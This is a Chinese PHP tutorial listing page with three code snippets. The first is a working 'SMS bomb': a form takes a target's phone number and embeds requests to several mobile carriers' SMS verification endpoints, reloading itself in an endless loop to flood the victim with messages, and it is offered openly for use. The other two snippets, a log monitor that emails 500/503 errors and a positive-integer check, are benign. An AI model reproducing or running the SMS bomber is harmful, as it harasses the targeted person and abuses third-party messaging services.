当前位置:  编程技术>php
本页文章导读:
    ▪PHP短信炸弹的简单示例      本节内容: 一例php实现的短信炸弹的代码。 例子:   代码示例: <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"> <html xmlns="http://www.w3.org/1999/xhtml.........
    ▪php监控日志500、503错误并发送邮件提示的代码      本例代码,基于phpmailer类实现,设置个计划任务执行,自己设置要监控的错误代码。 可用于排查服务器问题,检测iis默认日志、nginx日志等,请根据自己的需要做修改。 有关phpmailer类的用法.........
    ▪php判断正整数的简单示例      例子:   代码示例: <?php //判断是否是正整数 function check_zzs($varnum){  $string_var = "0123456789";  $len_string = strlen($varnum);  if(substr($varnum,0,1)=="0"){   return false;   die();  }else{ // www.   for($i=.........

[1]PHP短信炸弹的简单示例
    来源: 互联网  发布时间: 2013-12-24

本节内容:
一例php实现的短信炸弹的代码。

例子:
 

代码示例:
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<meta http-equiv="Cache-Control" content="max-age=0" forua="true"/>
<meta http-equiv="Cache-Control" content="no-cache"/>
<meta http-equiv="Expires" content="0"/>
<link rel="stylesheet" href="http://www./t.css" type="text/css"/>
<title>php短信炸弹-www.</title>
</head>
<body>
<div ><a href="/">首页</a>>移动短信炸弹</div><div >
<div >请填写要炸的手机号码(此炸弹只有移动号才能用,是免费的,但手机必须要开启图片显示)
</div></div>
<div >
--=手机号码=--</div>
<div >
<form method='GET' action='/blog_article/index.html'>
<input name='hm' value='' size='15' maxlength='10000'/><input type="hidden" name="c" value="1"/>
<br/><input type='submit' name='ok' value='[开始狂炸]'/>
</form>
<?php
error_reporting(0);
$v=$_GET['c'];
$a=$v+1;
$e=$a-1;
$d=$_GET['hm'];
?>
<div ><?php
if($d>1){
    echo"<br/>OK,成功轰炸$d,第$e.次";
    echo "<img src='http://xxx.com/user/getvalidcode2.do?phonenumber=$d' alt=''/><img src='http://mm.xxx.cn/portal/web/SmsRandomSendAction.do?msisdn=$d' alt=''/><img src='http://www.gd.xxx.com/login/sendSMSRND.jsp?_logonName=$d' alt=''/>";
     echo"<meta http-equiv=refresh content='0; url=dxzd.php?hm=$d&amp;c=$a'>";
}else{
echo"<br/>请输入手机号码!";
}
?>
</div>
</div>
</body>
</html>

    
[2]php监控日志500、503错误并发送邮件提示的代码
    来源: 互联网  发布时间: 2013-12-24

本例代码,基于phpmailer类实现,设置个计划任务执行,自己设置要监控的错误代码。
可用于排查服务器问题,检测iis默认日志、nginx日志等,请根据自己的需要做修改。

有关phpmailer类的用法,请参考文章:

例子:
 

代码示例:

<?php
/**
* 监控日志 500 503错误
* by www.
*/
include("PHPMailer/class.phpmailer.php");
//error_reporting(0);
$mail             = new PHPMailer();
$mail->IsSMTP(); // telling the class to use SMTP
$mail->SMTPDebug  = 1;                     // enables SMTP debug information (for testing)
// 1 = errors and messages
// 2 = messages only
$mail->SMTPAuth   = true;                  // enable SMTP authentication
$mail->Host       = "smtp.126.com"; // sets the SMTP server
$mail->Port       = 25;                    // set the SMTP port for the GMAIL server
$mail->Username   = "xxx@126.com"; // SMTP account username 邮箱用户名
$mail->Password   = "xxxxxxxxx";        // SMTP account password 密码
$mail->SetFrom('xxxxxxx@126.com', '报错');//

$now = "u_ex".date("ymdH").".log";

try{
    $log = file("F:/iis-log/W3SVC2/".$now);//日志路径自己改
}catch(Exception $e){
    echo "no file ";
    exit;
 }

$error = array();
$start = date("i",time()-120);
$end = date("i");
if($start > $end){
    exit;
}
$aa = range($start,$end);
$code = mkstr($aa);
echo $code;
$pattern = "/($code).*(\s500\s|\s503\s)/";//这里自己修改
$i = 0;
foreach($log as $k => $v){
    if(preg_match($pattern,$v)){
        $error[] =  $v;
  echo $v;
  $i += 1;
    }
}
if(!empty($error)){
 $content = implode("<br/>",$error);
 $mail->Subject="$i errors ";
 $mail->AddAddress("xxxxxxxxxx@163.com");
 $mail->AddAddress("xxxxxxxx@126.com");
 $mail->MsgHTML($content);
 $mail->send();
}
echo "\nover";
function mkstr($arr){
    $code = '';
    foreach($arr as $k => $e){
        $code .="\:$e\:|";
    }
    $code = rtrim($code,"|");
    return $code;
}


    
[3]php判断正整数的简单示例
    来源: 互联网  发布时间: 2013-12-24

例子:
 

代码示例:
<?php
//判断是否是正整数
function check_zzs($varnum){
 $string_var = "0123456789";
 $len_string = strlen($varnum);
 if(substr($varnum,0,1)=="0"){
  return false;
  die();
 }else{ // www.
  for($i=0;$i<$len_string;$i++){
   $checkint = strpos($string_var,substr($varnum,$i,1));
   if($checkint===false){
    return false;
    die();
   }
  }
 return true;
 }
}

>>>  相关阅读 <<<
php判断正整数的函数代码
php取整数的方法与实例总结
php取整数的几种方式(实例)


    
最新技术文章:
▪PHP函数microtime()时间戳的定义与用法
▪PHP单一入口之apache配置内容
▪PHP数组排序方法总结(收藏)
▪php数组排序方法大全(脚本学堂整理奉献)
▪php数组排序的几个函数(附实例)
▪php二维数组排序(实例)
▪php根据键值对二维数组排序的小例子
▪php验证码(附截图)
▪php数组长度的获取方法(三个实例)
▪php获取数组长度的方法举例
▪判断php数组维度(php数组长度)的方法
▪php获取图片的exif信息的示例代码
▪PHP 数组key长度对性能的影响实例分析
▪php函数指定默认值的方法示例
▪php提交表单到当前页面、提交表单后页面重定...
▪php四舍五入的三种实现方法
▪php获得数组长度(元素个数)的方法
▪php日期函数的简单示例代码
▪php数学函数的简单示例代码
▪php字符串函数的简单示例代码
▪php文件下载代码(多浏览器兼容、支持中文文...
▪php实现文件下载、支持中文文件名的示例代码...
unix/linux知识 iis7站长之家
▪解决PHP文件下载时中文文件名乱码的问题
▪php数组去重(一维、二维数组去重)的简单示例
▪php小数点后取两位的三种实现方法
▪php Redis 队列服务的简单示例
▪PHP导出excel时数字变为科学计数的解决方法
▪PHP数组根据值获取Key的简单示例
▪php数组去重的函数代码示例
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3